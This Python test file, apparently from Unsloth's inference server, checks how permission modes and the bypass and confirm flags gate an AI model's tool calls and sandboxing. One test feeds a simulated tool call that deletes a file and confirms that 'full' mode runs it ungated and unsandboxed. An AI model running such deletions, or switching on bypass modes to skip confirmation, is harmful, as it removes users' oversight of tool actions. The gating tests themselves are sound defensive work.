def test_full_mode_never_gates_and_drops_sandbox():
    events, exec_fn = _drive(
        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
        [],
        confirm_tool_calls = True,  # full must win over the confirm gate
        permission_mode = "full",
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
    assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)


def test_bypass_flag_implies_full_mode():
    # Legacy callers that only set bypass_permissions keep the same behavior.
    events, exec_fn = _drive(
        [_tool_call("python", '{"code": "print(1)"}'), "final"],
        [],
        confirm_tool_calls = True,
        bypass_permissions = True,
    )
    starts = _tool_starts(events)
    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
    assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)


def test_bypass_permissions_folds_to_full_on_request_models():
    # A legacy bypass caller that also sends a stale ask/auto mode normalizes to
    # full, so the route guards (which reject ask/auto) don't 400 the request.
    for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
        req = cls(
            messages = [{"role": "user", "content": "hi"}],
            bypass_permissions = True,
            permission_mode = "auto",
        )
        assert req.permission_mode == "full"
        assert req.bypass_permissions is True


def test_unknown_permission_mode_normalizes_to_ask_on_request_models():
    # An unrecognized mode from a newer UI/client must degrade to the safest gate
    # ("ask") at the API boundary instead of a 422, so the forward-compat fallback
    # the tool loops already apply (unknown -> ask) is reachable. None stays unset;
    # the four known modes pass through untouched.
    for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
        for unknown in ("paranoid", "readonly", "bogus", ""):
            req = cls(
                messages = [{"role": "user", "content": "hi"}],
                permission_mode = unknown,
            )
            assert req.permission_mode == "ask", (cls.__name__, unknown)
        assert (
            cls(messages = [{"role": "user", "content": "hi"}], permission_mode = None).permission_mode
            is None
        )
        for known in ("ask", "auto", "off", "full"):
            req = cls(
                messages = [{"role": "user", "content": "hi"}],
                permission_mode = known,
            )
            # 'full' folds to bypass but the mode string is preserved.
            assert req.permission_mode == known, (cls.__name__, known)


def test_ask_auto_self_enable_confirm_on_chat_request():
    # "Ask" gates every call, so a direct /chat/completions caller that requests
    # ask but omits the legacy confirm flag self-enables it when Unsloth's own tool
    # loop is requested. Only the router's loop-entry signals count (enable_tools /
    # mcp_enabled); enabled_tools alone never starts the loop.
    for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
        req = ChatCompletionRequest(
            messages = [{"role": "user", "content": "hi"}],
            permission_mode = "ask",
            **loop,
        )
        assert req.confirm_tool_calls is True
    # "auto" is NOT folded: it only prompts for a classifier-flagged call, so
    # leaving confirm unset lets the route apply the safe-only-selection exception
    # (a safe-only auto request needs no stream) instead of an explicit confirm
    # forcing stream=true. The mode still drives the loop's per-call gate.
    for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
        req = ChatCompletionRequest(
            messages = [{"role": "user", "content": "hi"}],
            permission_mode = "auto",
            **loop,
        )
        assert req.confirm_tool_calls is None
    # enabled_tools by itself is a passthrough filter, not a loop-entry signal:
    # a client-tool passthrough that also lists enabled_tools must route verbatim
    # (confirm stays unset), else the confirm-without-stream guard 400s it.
    for mode in ("ask", "auto"):
        req = ChatCompletionRequest(
            messages = [{"role": "user", "content": "hi"}],
            permission_mode = mode,
            enabled_tools = ["terminal"],
            tools = [{"type": "function", "function": {"name": "f"}}],
        )
        assert req.confirm_tool_calls is None
    # An explicit confirm_tool_calls=False wins over the ask mode (opts out of the
    # gate), matching _permission_mode_confirm and the Anthropic pre-switch guard;
    # the fold only self-enables when the flag is unset, so a caller cannot get a
    # different answer on the chat path than the Anthropic path for the same body.
    req = ChatCompletionRequest(
        messages = [{"role": "user", "content": "hi"}],
        permission_mode = "ask",
        enable_tools = True,
        confirm_tool_calls = False,
    )
    assert req.confirm_tool_calls is False
    # A plain client-tool passthrough (client-supplied tools that Unsloth does not
    # execute) must NOT self-enable confirm, or the route rejects the passthrough.
    req = ChatCompletionRequest(
        messages = [{"role": "user", "content": "hi"}],
        permission_mode = "ask",
        tools = [{"type": "function", "function": {"name": "f"}}],
    )
    assert req.confirm_tool_calls is None
    # ask/auto without any tool request has nothing to gate; confirm stays unset.
    req = ChatCompletionRequest(
        messages = [{"role": "user", "content": "hi"}],
        permission_mode = "ask",
    )
    assert req.confirm_tool_calls is None
    # Legacy callers with no permission_mode keep their confirm flag untouched.
    req = ChatCompletionRequest(
        messages = [{"role": "user", "content": "hi"}],
        confirm_tool_calls = False,
    )
    assert req.confirm_tool_calls is False
    # External-provider requests are not folded (the provider branch rejects
    # confirm_tool_calls with tools, and permission_mode is a local concept).
    for extra in ({"provider_id": "p1"}, {"provider_type": "openai"}):
        req = ChatCompletionRequest(
            messages = [{"role": "user", "content": "hi"}],
            permission_mode = "ask",
            enable_tools = True,
            **extra,
        )
        assert req.confirm_tool_calls is None


def test_permission_mode_confirm_derivation():
    # The route derives the effective confirm gate from permission_mode so that a
    # tool loop forced on by CLI policy (no request-level tool flag) still honors
    # the documented "unset behaves as ask" default.
    from routes.inference import _permission_mode_confirm

    def req(**kw):
        return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)

    # An explicit confirm flag always wins (True gates, False opts out).
    assert _permission_mode_confirm(req(confirm_tool_calls = True, stream = False)) is True
    assert _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) is False
    # Explicit ask/auto always engage the gate (a non-streaming one is rejected
    # by the guard that reads this).
    assert _permission_mode_confirm(req(permission_mode = "ask", stream = False)) is True
    assert _permission_mode_confirm(req(permission_mode = "auto", stream = False)) is True
    # off/full never prompt.
    assert _permission_mode_confirm(req(permission_mode = "off")) is False
    assert _permission_mode_confirm(req(permission_mode = "full")) is False
    # An unset mode defaults to ask, but only realizably on a streaming request;
    # a non-streaming unset request keeps the legacy run-without-gate behavior.
    assert _permission_mode_confirm(req(stream = True)) is True
    assert _permission_mode_confirm(req(stream = False)) is False


def test_confirm_gate_needs_stream():
    # auto only prompts for a classifier-flagged call, so an auto request that can
    # only select always-safe tools (web_search / RAG) needs no stream and must not
    # be rejected by the confirm-without-stream guard.
    from routes.inference import _confirm_gate_needs_stream

    def req(**kw):
        return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)

    safe = ["web_search", "search_knowledge_base"]
    # auto + a safe-only selection never prompts -> no stream needed.
    assert _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) is False
    assert (
        _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["web_search"]))
        is False
    )
    # render_html can prompt when its canvas reaches the network, so a selection
    # that includes it needs a stream to deliver that prompt.
    assert (
        _confirm_gate_needs_stream(
            req(permission_mode = "auto", enabled_tools = ["web_search", "render_html"])
        )
        is True
    )
    # But a selectable unsafe tool, an unrestricted (omitted) selection, MCP, or an
    # explicit confirm flag all still require streaming under auto.
    assert (
        _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["terminal"])) is True
    )
    assert _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) is True
    assert (
        _confirm_gate_needs_stream(
            req(permission_mode = "auto", enabled_tools = ["web_search"], mcp_enabled = True)
        )
        is True
    )
    assert (
        _confirm_gate_needs_stream(
            req(permission_mode = "auto", enabled_tools = ["web_search"], confirm_tool_calls = True)
        )
        is True
    )
    # An explicit empty selection runs no built-in tool, so nothing can prompt and
    # no stream is needed (distinct from an omitted list, which means all tools).
    assert (
        _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True, enabled_tools = []))
        is False
    )
    # ask prompts for every call, so even a safe-only selection needs streaming.
    assert _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) is True
    # off/full never prompt; unset non-streaming keeps the legacy run-without-gate.
    assert _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) is False
    assert _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) is False
    assert _confirm_gate_needs_stream(req(enabled_tools = safe, stream = False)) is False